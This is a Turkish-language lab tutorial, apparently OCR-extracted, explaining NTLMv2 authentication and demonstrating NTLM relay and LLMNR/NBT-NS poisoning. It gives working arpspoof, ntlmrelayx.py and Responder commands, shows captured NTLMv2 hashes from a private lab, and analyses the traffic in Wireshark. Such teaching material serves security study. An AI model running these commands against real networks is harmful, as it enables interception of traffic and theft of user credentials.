NTLM RELAYING AND LLMNR POISONING

İçindekiler

Ntlmv2 Doğrulama	. 2
Ntlm Relaying	. 5
Lllmnr Poisoning	9

NTLMv2 AUTHENTICATION



Başlangıç aşamasında girdi olarak alınan kullanıcı adının yanında parola bir hash ile şifrelenir ve artık parola iletimi hash biçeminde doğrulama da kullanılır.

AUTHENTICATION REQUEST (1)

Alınan girdilerden sonra kullanıcı windows sunucuya doğrulama isteğinde bulunur.

SEND NTLM CHALLENGE (2)

Bu isteğin ardından windows sunucu kullanıcıya bir challenge hash veya nonce hash değeri gönderiri bu gönderilen hash değeri 8 byte uzunluğundadır.

SC = 8-byte server challenge, random (Server Challenge)

USERNAME + CLIENT RESPONSE HASH + SERVER CHALLENGE (3)

Gelen hash değerini alan kullanıcı ise bu değeri aşağıdaki formatta ki gibi geri gönderir.

SC = 8-byte server challenge, random (Server Challenge) CC = 8-byte client challenge, random (Client Challenge) CC* = (X, time , CC2, domain name) v2-Hash = HMAC-MD5(NT-Hash, username, domain name) LMv2 = HMAC-MD5 (v2-Hash, SC, CC) NTv2 = HMAC-MD5(v2-Hash, SC, CC*) Response = Lmv2 | CC | Ntv2 | CC* Bu yapıyı sırası ile incelediğimizde ilk olarak server tarafından gönderilen server challenge hash değerini görüyoruz. Bu na yanıt olarak kullanıcı 8 byte uzunluğunda client challenge rastgele bir şekilde üretir. Ardından ürettiği bu hash değeri

USERNAME+ RESPONSE HASH + SERVER CHALLENGE (4)

Ardından bu değerleri sunucu active directory ortamında ki kullanıcı nesneleri , grupları ve grup üyeliği hakkındaki bilgiler dahil olmak üzere Active Directory verilerini depolayan bir veritabanı olan 'ntds.dit' dosyasında sorgular.

AUTHENTICATE REPLY (5)

Son olarak sorgulama işleminden sonra doğrulama işlemini gerçekleştirir. Eğer gönderilen değerler Belirtilen NTDS.dit dosyasında mevcut ise oturum başlatılır.

Bir Active Directory Domain yapısından söz edilmez ise NTLMv2 Doğrulamayı nasıl gerçekleştirir bunun için aşağıdaki şemadan yola çıkalım.



AUTHENTICATION REQUEST (1)

İlk olarak kullanıcı oturum için yine DC ortamında olduğu gibi bir doğrulama isteğinde bulunur.

SEND NTLM CHALLENGE (2)

Bu isteği alan sunucu kullanıcıya 8-byte uzunluğunda rastgele üretilen bir challenge hash gönderir.

USERNAME+CLIENT CHALLENGE+SERVER CHALLENGE (3)

Ardından Sunucu tarafından gönderilen challenge değerini alan kullanıcı active directory ortamında olduğu gibi çözümler ve sunucu üzerinde

AUTHENTICATION REPLY (4)

Sunucu kullanıcıdan aldığı ntlmv2 protokol cevabını SAM (SECURITY ACCOUNT MANAGER) dosyasında sorgular bu dosya windows sistem üzerinde (%SystemRoot%/system32/config/SAM) yolunda tutulur. Eğer bu dosya içinde tutulan değerler doğru ise oturum başlatılır.

Sunucudan kullanıcıya giden challenge hash formatı özellikleri aşağıdaki gibidir.

• 1122334455667788

Kullanıcıdan alınan ve sunucuya challenge hash cevabı olarak gönderilen NTLMV2 cevap formatı aşağıdaki gibidir.

faruk::CLIENT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c783 0315c78303100000000000b45c67103d07d7b95acd12ffa11230e000000052920 b85f78d013c31cdb3b92f5d765c783030

- <username>:: Bu alanda doğrulama yapmak isteyen kullanıcının kullanıcı adı yer alır .
- <Domain Name or Workgroup>:

Bu alanda ise kullanıcının dahil olduğu Active Directory domain ismi veya eğer kullanıcı bir Domain ortamı kullanmıyor ise Workgroup ismi eklenir.

• <Server random hash>:

Bu alanda ise sunucudan alınan ve rastgele üretilen sunucu hash challenge değeri yer alır.

• <Client Random hash>:

Bu alanda ise sunucunun gönderdiği challenge hash değerine karşın kullanıcı tarafından üretilen hash değeri vardır.

<NTLM Response>

Bu alanda ise parola hash eklenir ve NTLM versiyonuna göre şifrelenme biçemi farklılık gösterir NTLMV2 de HMAC-MD5 biçeminde şifreleme gerçekleştirilir.

NTLM RELAYING

Ntlm servisinin nasıl doğrulama yaptığını anladık şimdi bu doğrulamayı kötüye kullanıp istismar edelim bunun için NTLM Relay saldırısının temeline bakalım ve bu işlemin nasıl gerçekleştiğini kavrayalım.

Bu durumu kavramak için aşağıdaki görsel faydalı olucaktır.



Yukarıda anlatılan NTLMv2 bir Domain yapısında ki doğrulama işlemleri gerçekleşirken saldırganın bu işlemleri yönlendirip istediği hash bilgilerini alması gibi kısa bir açıklama yaparak başlayalım.

İlk olarak saldırgan ağ içerisinde sunucu ve kullanıcı'nın arasına girmek için bir man in the mittle veya arp spoofing saldırısı ile bu durumu gerçekleştirir.

Gerçekleştirilen bu saldırıdan sonra saldırgan smb sunucusu da dahil olmak üzere birçok sunucu çalıştırmak ve bunu kurban makina olan kullanıcıya aktarmak için impacket içerisinde yer alan ntlmrelayx.py programını çalıştırır.

Ardından Responder aracını çalıştırarak kurbana sahte yanıtlar gönderir ve bu sayede kurbandan istediği Ntlm hash değerini alır.Hadi bunu uygulamada gerçekleştirip wireshark aracı ile paketleri yakaladıktan sonra incelemesini gerçekleştirelim. Bu uygulamamızda senaryo aşağıdaki gibi bir topolojide işliyor.



Topolojide cihazlarımızın ne olduğunu işlemlerin nasıl gerçekleşeceğini yukarıdaki saldırı mantığı ile anlatalım.

Başlangıç aşamasında arpspoof aracımız ile arpspoofing saldırısını başlatıp sunucu ile kullanıcı arasına girip ağ paketlerini üzerimizden geçmesine olanak tanıyoruz.

b3kc4t@kali:~/Desktop/ASENA\$ sudo arpspoof -t 192.168.235.131 -r 192.168.235.145
0:c:29:e1:2e:fd 0:c:29:ba:95:ab 0806 42: arp reply 192.168.235.145 is-at 0:c:29:e1:2e:fd
0:c:29:e1:2e:fd 0:c:29:19:3d:89 0806 42: arp reply 192.168.235.131 is-at 0:c:29:e1:2e:fd
0:c:29:e1:2e:fd 0:c:29:ba:95:ab 0806 42: arp reply 192.168.235.145 is-at 0:c:29:e1:2e:fd
0:c:29:e1:2e:fd 0:c:29:19:3d:89 0806 42: arp reply 192.168.235.131 is-at 0:c:29:e1:2e:fd
0:c:29:e1:2e:fd 0:c:29:ba:95:ab 0806 42: arp reply 192.168.235.145 is-at 0:c:29:e1:2e:fd
0:c:29:e1:2e:fd 0:c:29:19:3d:89 0806 42: arp reply 192.168.235.131 is-at 0:c:29:e1:2e:fd
0:c:29:e1:2e:fd 0:c:29:ba:95:ab 0806 42: arp reply 192.168.235.145 is-at 0:c:29:e1:2e:fd
0:c:29:e1:2e:fd 0:c:29:19:3d:89 0806 42: arp reply 192.168.235.131 is-at 0:c:29:e1:2e:fd
0:c:29:e1:2e:fd 0:c:29:ba:95:ab 0806 42: arp reply 192.168.235.145 is-at 0:c:29:e1:2e:fd
0:c:29:e1:2e:fd 0:c:29:19:3d:89 0806 42: arp reply 192.168.235.131 is-at 0:c:29:e1:2e:fd
0:c:29:e1:2e:fd 0:c:29:ba:95:ab 0806 42: arp reply 192.168.235.145 is-at 0:c:29:e1:2e:fd
0:c:29:e1:2e:fd 0:c:29:19:3d:89 0806 42: arp reply 192.168.235.131 is-at 0:c:29:e1:2e:fd
0:c:29:e1:2e:fd 0:c:29:ba:95:ab 0806 42: arp reply 192.168.235.145 is-at 0:c:29:e1:2e:fd
0:c:29:e1:2e:fd 0:c:29:19:3d:89 0806 42: arp reply 192.168.235.131 is-at 0:c:29:e1:2e:fd
0:c:29:e1:2e:fd 0:c:29:ba:95:ab 0806 42: arp reply 192.168.235.145 is-at 0:c:29:e1:2e:fd
0:c:29:e1:2e:fd 0:c:29:19:3d:89 0806 42: arp reply 192.168.235.131 is-at 0:c:29:e1:2e:fd
0:c:29:e1:2e:fd 0:c:29:ba:95:ab 0806 42: arp reply 192.168.235.145 is-at 0:c:29:e1:2e:fd

Bu işlemin ardından 'impacket' içerisinde bulunan ntlmrelayx.py programını -t parametresi ile çalıştırıp hedef olarak kullanıcı ipv4 adresini ekliyoruz bu program sayesinde smb sunucusu da dahil olmak üzere kali makinamızda bir sunucu gibi davranabileceğiz ve hedef kullanıcı'nın doğrulama isteklerini üzerimize çekebileceğiz.

<pre>b3kc4takali:~/Desktop/impacket/examples\$ sudo python3 ntlmrelayx.py -t 192.168.235.131 [sudo] password for b3kc4t:</pre>
Impacket v0.9.22.dev1+20200813.221956.1c893884 - Copyright 2020 SecureAuth Corporation
<pre>[*] Protocol Client HTTPS loaded [*] Protocol Client HTTP loaded [*] Protocol Client MSSQL loaded [*] Protocol Client SMTP loaded [*] Protocol Client IMAPS loaded [*] Protocol Client SMB loaded [*] Protocol Client SMB loaded [*] Protocol Client LDAPS loaded [*] Protocol Client LDAP loaded [*] Protocol Client RPC loaded [*] Protocol Client RPC loaded [*] Running in relay mode to single host</pre>
<pre>[*] Servers started, waiting for connections</pre>

Yukarıdaki ekran görüntüsünde görüldüğü üzere program başlatıldığında bir sunucu gibi davranabilmesi için birçok servis başlatıldı.

Bunun ardından kendimizi bir sunucu gibi gösterebilmemiz için aynı zamanda gelen isteklerin ne olduğuna ve nasıl cevap verilmesi gerektiği de gereklidir.

Bu açıdan Responder aracını kullanmak bize büyük fayda sağlayacaktır.Kullanıcı arpspoof saldırısından ötürü artık bizi hedef suucu olarak gördüğünden NTLM sorgularını bize döndürecektir ve bizde ona Responder tarafından oluşturulmuş challenge değerini gönderip buna karşı gelen kullanıcı adı ve parola hash değerini ele geçiriceğiz.

Responder aracımızı aşağıdaki ekran görüntüsünde ki gibi başlatıyoruz. $\$ sudo python Responder.py -I eth0 -v

<pre>b3kc4t@kali:~/Desktop/Respon [sudo] password for b3kc4t:</pre>	nder\$ sudo python Responder.py -I eth0 -v
NBT-NS, LLMNR & M	IDNS Responder 2.3
Author: Laurent Gaffie (la To kill this script hit Cf	aurent.gaffie@gmail.com) RTL-C
[+] Poisoners:	
LLMNR	5141[ON]-0 42: arp reply 1921.168.235.145 is—at 010129/01:20164
NBT-NS NBT-NS	d18[ON]5 42: arp reply 192.168.235.131 is=at 0:0129:01:20:01
DNS/MDNS	[ON]
[+] Servers:	
HTTP server	[ON]
HTTPS server	[ON]
WPAD proxy	
SMB server	
Kerberos server	
SQL Server	
TMAD server	
POP3 server	5 121 [ON] 16 422 420 220 1921 1921 1933 2351 145 35-22 30 6129 1923 1934 20
SMTP server	018 [ON] 5 421 and reply 192.168.235.131 [s=at 0:e:29:0a:95:a0
DNS server	[ON]

Artık herşey hazır olduğuna göre tek yapmamız gereken kullanıcı'nın doğrulama yapmasını beklemek.Biraz bekleme işleminden sonra aşağıdaki ekran görüntüsünde gösterildiği gibi Kullanıcının NTLM cevabına ulaştık ve Responder ona doğrulama'nın geçersiz olduğunu gönderdi.

[1] Listoning for events include annulast and extinct attaction attaction of the list.
[+] [Interning for events
[*] [NBT-NS] POISONED answer sent to 192.108.233.131 TOR name (UTGUN.LAB (Service: Workstation/Redirector)
[*] [NBI-NS] Poisoned answer sent to 192.168.233.131 for name CLIENII (service: Domain Controller)
[*] [NBT-NS] Poisoned answer sent to 192.168.235.131 for name TUYGUN (service: Domain Controller)
[*] [NBT-NS] Poisoned answer sent to 192.168.235.131 for name TRY-SERVER (service: Workstation/Redirector)
[*] [NBT-NS] Poisoned answer sent to 192.168.235.131 for name TUYGUN.LAB (service: File Server)
[SMB] NTLMv2-SSP Client : 192.168.235.131
[SMB] NTLMv2-SSP Username : CLIENT1\musti
[SMB] NTLMv2-SSP Hash : musti::CLIENT1:1122334455667788:7B2FBB8545FBE70DC60352C4C2F20905:0101000000000000
AF6C9B658A75D601CA6CEC1620A02E8800000000000000000000000000000000
D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000
00C7B0DBF9454236090762D4F3CF9AEB058E1E18464FD12E6522B178E0CA0C6F7A0A00100000000000000000000000000000000
01E0063006900660073002F00740075007900670075006E002E006C00610062000000000000000000
[SMB] Requested Share : \\TUYGUN.LAB\IPC\$
[*] [LLMNR] Poisoned answer sent to 192.168.235.131 for name TRY-SERVER
[*] [NRT-NS] Poisoned answer sent to 192,168,235,131 for name TRY-SERVER (service: File Server)

Şimdi bu işlemler ağ içerisinde nasıl gerçekleşti wireshark aracımız ile filtreleme yaparak inceleyelim ardından yorumlayalım.

Aşağıdaki ekran görüntüsünde yakalanan paketlere baktığımızda ilk olarak yukarıda saldırı 'nın nasıl gerçekleştiğini anlattığımız kısa anlatında ilk durumla karşılaşıyoruz yani kullanıcı saldırgana bir doğrulama talebinde bulunuyor .

Wireshark ta bu paketi hızlı bir lekilde elde etmek için aşağıdaki filtrelemeyi kullanabilirsiniz.

[ip.src_host == 192.168.235.131 && smb]

	271 91.881571340	192.168.235.131	192.168.235.142	SMB	196 Session Setup AndX Request, NTLMSSP_NEGOTIATE
П	274 91.905000257	192,168,235,131	192.168.235.142	SMB	532 Session Setup AndX Request, NTLMSSP_AUTH, User: CLIE
	277 91.927873686	192.168.235.131	192.168.235.142	SMB	144 Tree Connect AndX Request, Path: \\TUYGUN.LAB\IPC\$
	280 91.929948744	192.168.235.131	192.168.235.142	SMB	156 Trans2 Request, GET_DFS_REFERRAL, File: \tuygun.lab\.
1	326 100.313589102	192.168.235.131	192.168.235.142	SMB	213 Negotiate Protocol Request

Ardından saldırgan makinanın yukarıdaki kullanıcının isteğine nasıl cevap verdiğine bakmak istediğimizde aşağıdaki filtreleme ile seçilen paketi görüyoruz.

[ip.src_host == 192.168.235.142 && smb]

	273 91.902491821	192.168.235.142	192.168.235.131	SMB	400 Session Setup AndX Response,	NTLMSSP_CHALLENGE, Erro
٦	276 91.926676748	192.168.235.142	192.168.235.131	SMB	238 Session Setup AndX Response	
	279 91.928988250	192.168.235.142	192.168.235.131	SMB	114 Tree Connect AndX Response	
1	328 100.314617038	192.168.235.142	192.168.235.131	SMB	236 Negotiate Protocol Response	
				-		NEW MARKED AND A STREET AND A S

Seçilen paketi incelediğimiz de aşağıdaki ekran görüntüsündeki gibi Responder tarafından oluşturulan challenge değerini 'nin gönderildiğini görüyoruz.



Ardından kullanıcınının parolasının hash değerinin tutulduğu Ntlm doğrulama paketini incelemek için aşağıdaki ekran görüntüsünde ki gibi [ip.src_host == 192.168.235.131 && ip.dst_host == 192.168.235.142 && ntlmssp] filtresini kullanıyoruz.

ip.src_host == 192.168.235.131 && ip.dst_host == 192.168.235.142 && ntlmssp X → +							
No.		Time	Source	Destination	Protocol	Length Info	
	271	91.881571340	192.168.235.131	192.168.235.142	SMB	196 Session Setup AndX Request, NTLMSSP_NEGOTIATE	
	274	91.905000257	192.168.235.131	192.168.235.142	SMB	532 Session Setup AndX Request, NTLMSSP_AUTH, User: CLIE	
1	329	100.315656581	192.168.235.131	192.168.235.142	SMB	196 Session Setup AndX Request, NTLMSSP_NEGOTIATE	

Seçilen paket incelendiğinde aşağıdaki gibi Responder da yakaladığımız hash değerini görebiliyoruz.

NTLMSSP identifier: NTLMSSP	
NTLM Message Type: NTLMSSP AUTH (0x00000003)	
Lan Manager Response: 000000000000000000000000000000000000	
Length: 24	
MaxIen: 24	
Offset: 126	
LMv2 Client Challenge: 000000000000000	
 NTLM Response: 7b2fbb8545fbe70dc60352c4c2f209050101000000000000 	
Length: 228	
Maxlen: 228	
Offset: 150	
NTLMv2 Response: 7b2fbb8545fbe70dc60352c4c2f20905010100000000000	
- Domain name: CLIENT1	
Length: 14	
MaxĬen: 14	
Offset: 88	
User name: musti	

LLMNR/NBT-NS POISONING

Bu saldırıyı anlamak için öncelikle LLMNR Protokolünün nasıl çalıştığını anlamamız ve bu çalışma'nın temelinde neler olup bittiğini bilmemiz gerekmektedir.

LLMNR servisi ağ içerisinde DNS çözümlemesi yapan sunucunun zarar görmesi veya kullanılamaması gibi durumlarda devreye giren ve bu servis sayesinde ağ içerisindeki komşu cihazlara sorgulama gerçekleştiren ana makina isim adresi çözümlenir.

Bu işlem aslında ağ içerisindeki bir saldırgan için gayet basit bir mantıkla sorgulanan ismin kendisi olduğunu söyleyerek NTLM doğrulaması gibi için kullanıcı tarafından gönderilen bilgileri ele geçirir.



Yukarıdaki saldırı topolojisini açıklarsak başlangıçta kullanıcı ağ içerisindeki DNS sunucu'da sorgu adı'nın adres çözümlemesini ister fakat zarar görmiş veya bu sorgu için cevap veremeyen bir dns sunucusu kullanıcıyı LLMNR Protokolünü kullanmaya zorlar.

Ardından kullanıcı tüm ağ içerisinde LLMNR protokolü kullanarak bir broadcast sorgusu gerçekleştirir(LLMNR Veya NBT-NS Broadcast yayını UDP/5355, UDP/137 numaralı portlardan gerçekleştirilir.)

Bu yayını bahsedilen portlardan dinleyen saldırgan kendisini sorgu yapılan isim olarak gösterir ve sonra kullanıcı artık çözümlemesini istediği isim için bir doğrulama yapmak için saldırgana istek gönderir saldırgan yukarıda anlatılan NTLM doğrulama mekanizmasını kullanarak kullanıcı'nın kritik hash bilgilerini ele geçirir.

Bu durumdan aslında farklı olmayarak hatalı yazılan bağlantı dizin ya da dosyalar sonucunda kullanıcı ağ içerisindeki yukarıda bahsi geçen LLMNR sorgu durumunu gerçekleştirecektir. Ve Sonuç olarak yine saldırganın tuzağına düşerek doğrulama hash değeri ele geçirilir. Şimdi Bu saldırıyı uygulamalı bir şekilde gösterelim.

Başlangıç olarak Responder aracımızı başlatıyoruz bu sayede istenen ana bilgisayar adı için kendi adresimizi verip doğrulama bilgilerini elde ediceğiz.

b3kc4t@kali:~/Desktop/Responder	r\$ sudo python Responder.py −I eth0 -v
NBT-NS, LLMNR & MDNS	5 Responder 2.3
Author: Laurent Gaffie (laure To kill this script hit CRTL-	ent.gaffie@gmail.com) -C
[+] Poisoners: LLMNR NBT-NS DNS/MDNS	[ON] [ON] [ON]
[+] Servers: HTTP server	[ON]
HTTPS server	[ON]

Ardından ağ ortamında NBT-NS sorgusu gerçekleştirecek olan kullanıcıyı bekliyoruz ve kullanıcı tam da istediğimiz gibi yanlış bir arama gerçekleştirdi ve ağda kullanılan DNS sunucusu bu adın kendisinde mevcut olmadığını cevap dönderdi ardından ağ içerisinde kullanıcı NBT-NS sorgusunu yaptı ve bu sorguyu bekleyen Responder aracı saldırganımızın kali cihazı ile aranan adresin kendisinde olduğunu ileterek doğrulama mekanizması için kritik bilgileri elde ederek kullanıcıya hata messajı olarak geri dönderdi.

[*] [NBT-NS] Poisoned answer sent to 192.168.235.131 for name TUYGUN.LA (service: File Server)
[SMB] NTLMv2-SSP Client : 192.168.235.131
[SMB] NTLMv2-SSP Username : CLIENT1\Lenovo
[SMB] NTLMv2-SSP Hash : Lenovo::CLIENT1:1122334455667788:29DA74D5F4059DD625B92B40113D1C91:0101000000000
0780585790576D601460E2D380362C66100000000000000000040053004D0042003100320001000A0053004D0042003100320004000A0053
4 D0042003100320003000A0053004 D0042003100320005000A0053004 D0042003100320008003000300000000000000000000
0005F05B26C535C5CFD6243B13B8F0B6D953B4915610248D29A53EAF1857DBEC4090A00100000000000000000000000000000000
001C0063006900660073002F00740075007900670075006E002E006C0061000000000000000000
[SMB] Requested Share : \\TUYGUN.LA\IPC\$

Ardından yukarıdaki ekran görüntüsündeki gibi kullanıcının hash bilgileri elde edildi.Bu durumun ağ içerisinde wireshark aracı ile incelediğimiz de aşağıdaki analizden söz etmemiz mümkündür.

Aşağıdaki gibi wireshark 'ta ip adresi filtrelemesini kullanarak saldırganın NBT-NS protokol isteği gerçekleştiren kullanıcıya cevap paketini görebiliriz.



Paket içeriğini inceleme altına aldığımızda aşağıdaki gibi bir sonuç ile karşılaşırız.Bu sonuca göre UDP/137 numaralı port'tan gönderilen(NBT-NS UDP/137 Kullanır) cevap içeriğinde aranılan tuygun.la adresinin kendisi olduğunu ve ip adresinin 192.168.235.142 olduğunu göndermiş bulunmakta.

```
    User Datagram Protocol, Src Port: 137, Dst Port: 137
Source Port: 137

       Destination Port: 137
       Length: 70
      Checksum: 0x70ab [unverified]
[Checksum Status: Unverified]
       [Stream index: 10]
       [Timestamps]
  NetBIOS Name Service
       Transaction ID: 0x97f8
      Flags: 0x8500, Response, Opcode: Name query, Authoritative, Recursion desired, Reply code: No error
   к
       Questions: 0
      Answer RRs: 1
Authority RRs: 0
       Additional RRs: 0
      Answers
          TUYGUN<1h
              Name: TUYGUN<1b> (Domain Master Browser)
              Type: NB (32)
              Class: IN (1)
Time to live: 2 minutes, 45 seconds
              Data length: 6

    Name flags: 0x0000, ONT: B-node (B-node, unique)
    0..... = Name type: Unique name
    .... = 0NT: B-node (0)
    Addr: 192.168.235.142
```

Bu analizin ardından kullanıcı'nın saldırgana gönderdiği doğrulama sonuç değerine göz atalım.

ip.src_host == 192.168.235.131 && smb							
Time	Source	Destination	Protocol	Length Info			
4 0.000355781	192.168.235.131	192.168.235.145	SMB	213 Negotiate Protocol Request			
5 4.427368438	192.168.235.131	192.168.235.255	BROWSER	216 Get Backup List Request			
2 8.984445871	192.168.235.131	192.168.235.145	BROWSER	216 Get Backup List Request			
3 16.414554533	192.168.235.131	192.168.235.142	SMB	191 Negotiate Protocol Request			
6 16.417131561	192.168.235.131	192.168.235.142	SMB	196 Session Setup AndX Request, NTLMSSP NEGOTIATE			
9 16.420770929	192.168.235.131	192.168.235.142	SMB	532 Session Setup AndX Request, NTLMSSP_AUTH, User: CLIENT1\Lenovo			
2 16.423562398	192.168.235.131	192.168.235.142	SMB	142 Tree Connect AndX Request, Path: \\TUYGUN.LA\IPC\$			
	_host == 192.16 Time 4 0.000355781 5 4.427368438 2 8.984445871 3 16.414554533 3 16.417131561 9 16.420770929 2 16.423562398	host == 192.168.235.131 && smb Time Source 0.000355781 192.168.235.131 4.427368438 192.168.235.131 3.6.44455433 192.168.235.131 3.16.44455433 192.168.235.131 3.16.44455433 192.168.235.131 3.16.4425433 192.168.235.131 3.16.42533 192.168.235.131 3.16.4255433 192.168.235.131 3.16.42552398 192.168.235.131 3.16.42562398 192.168.235.131	host == 192.168.235.131 && smb Time Source Destination 0.000355781 192.168.235.131 192.168.235.145 4.427368438 192.168.235.131 192.168.235.255 8.984445871 192.168.235.131 192.168.235.142 16.444756438 192.168.235.131 192.168.235.142 16.444756438 192.168.235.131 192.168.235.142 16.44276238 192.168.235.131 192.168.235.142 16.420770929 192.168.235.131 192.168.235.142 16.420770929 192.168.235.131 192.168.235.142 16.420770929 192.168.235.131 192.168.235.142 16.420770929 192.168.235.131 192.168.235.142	host == 192.168.235.131 && smb Time Source Destination Protocol 0.000355781 192.168.235.131 192.168.235.145 SMB 4.427368438 192.168.235.131 192.168.235.145 SMB 16.4427368438 192.168.235.131 192.168.235.145 BR0WSER 16.442736438 192.168.235.131 192.168.235.142 SMB 16.44254538 192.168.235.131 192.168.235.142 SMB 16.442564238 192.168.235.131 192.168.235.142 SMB 16.426570929 192.168.235.131 192.168.235.142 SMB 16.426562388 192.168.235.131 192.168.235.142 SMB 16.426562388 192.168.235.131 192.168.235.142 SMB	host == 192.168.235.131 & & smb Time Source Destination Protocol Length Info 4 0.000355781 192.168.235.131 192.168.235.145 SMB 213 Negotiate Protocol Request 6 4.427368438 192.168.235.131 192.168.235.145 BROWSER 216 Get Backup List Request 16.4427364348 192.168.235.131 192.168.235.145 BROWSER 216 Get Backup List Request 16.442736438 192.168.235.131 192.168.235.142 SMB 191 Negotiate Protocol Request 16.44256438 192.168.235.131 192.168.235.142 SMB 191 Negotiate Protocol Request 16.44256439 192.168.235.131 192.168.235.142 SMB 191 Negotiate Protocol Request 16.420770929 192.168.235.131 192.168.235.142 SMB 532 Session Setup AndX Request, NTLMSSP_AUTH, User: CLIENTILLENDVO 16.426770929 192.168.235.131 192.168.235.142 SMB 142 Tree Connect AndX Request, Path: \nTUMSUM_LAXIPC\$		

Seçilen bu paketi incelediğimizde Responder taradından elde edilen tüm challenge değerlerini görebiliyoruz.



B3KC4T